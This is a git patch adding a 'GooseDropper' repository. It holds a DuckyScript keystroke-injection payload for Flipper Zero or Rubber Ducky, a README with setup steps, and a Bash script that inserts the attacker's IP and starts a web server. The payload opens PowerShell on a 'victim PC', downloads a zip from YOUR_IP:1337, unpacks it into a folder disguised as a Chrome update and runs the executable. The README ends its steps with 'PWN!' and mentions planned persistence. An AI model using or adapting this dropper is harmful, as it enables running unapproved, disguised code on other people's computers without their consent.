From 8a394ca1a70c91b2b53a09b16d86b3af95b52210 Mon Sep 17 00:00:00 2001 From: Fr3ki Date: Sun, 29 Oct 2023 01:03:44 -0600 Subject: [PATCH] Hello World --- GooseDroper.txt | 18 ++++++++++++++++++ README.md | 16 ++++++++++++++++ linux_setup.sh | 33 +++++++++++++++++++++++++++++++++ 3 files changed, 67 insertions(+) create mode 100644 GooseDroper.txt create mode 100644 README.md create mode 100644 linux_setup.sh diff --git a/GooseDroper.txt b/GooseDroper.txt new file mode 100644 index 0000000..6a7cfce --- /dev/null +++ b/GooseDroper.txt @@ -0,0 +1,18 @@ +REM TITLE GooseDropper +REM AUTHOR Fr3ki +REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and run it on the victim PC +DELAY 500 +GUI r +DELAY 500 +STRING powershell wget YOUR_IP:1337/update.zip -OutFile $ENV:Temp/Updater.zip +ENTER +DELAY 5000 +GUI r +DELAY 500 +STRING powershell Expand-Archive $ENV:Temp\Updater.zip -DestinationPath $ENV:Temp\Chrome_Update +ENTER +DELAY 3000 +GUI r +DELAY 500 +STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe +ENTER diff --git a/README.md b/README.md new file mode 100644 index 0000000..5d08fd8 --- /dev/null +++ b/README.md @@ -0,0 +1,16 @@ +======= Goose Dropper ======== +This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose on a Windows PC. + +Currently there is no auto-configurator for Windows but it's in the works. Steps to configure manually: + 1) Replace the YOUR_IP value in GooseDropper.txt with your IP + 2) Download Desktop Goose and extract it, rename the DesktopGoose v.031 from inside the zip to Update + 3) Re-ZIP the Update directory and name it Chrome_Updater.txt + 4) Start some form of simple webserver/fileshare on port 1337 + 5) Copy to your Flipper or Rubber-Ducky and PWN! + +Important Notes: +Ensure configuration is run while on the same network as your target, re-configure with each new network. + +Currently a reboot will kill the process, however persistance is being worked on. + +All credit goes to Samperson for the development of Desktop Goose: https://itch.io/profile/samperson | https://twitter.com/samnchiet diff --git a/linux_setup.sh b/linux_setup.sh new file mode 100644 index 0000000..55da368 --- /dev/null +++ b/linux_setup.sh @@ -0,0 +1,33 @@ +#!/bin/bash + +#Grab your local IP to add to the payload +SRC="$(ip route show | grep default | cut -d ' ' -f 9)" + +#Check if Desktop Goose is present in this directory +GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')" + +#Add the IP to the payload +sed -i "s/YOUR_IP/$SRC/" GooseDroper.txt + +#Check +if [ "${GOOSE}" == "" ]; +then + echo "Desktop Goose is not present in this directory, download it, or move it here" + exit + +else + unzip "Desktop Goose v0.31.zip" + mv "Desktop Goose v0.31/DesktopGoose v0.31" Update + zip -r Chrome_Update.zip Update + rm -rf "Desktop Goose v0.31"* Update + read -p "Configuration finished! Start python webserver now? [Y/N]" START +fi + + +if [ "${START,,}" == "y" ]; +then + python3 -m http.server 1337 && echo "PWNED!" +else + clear + echo "Server not started, thank you!" +fi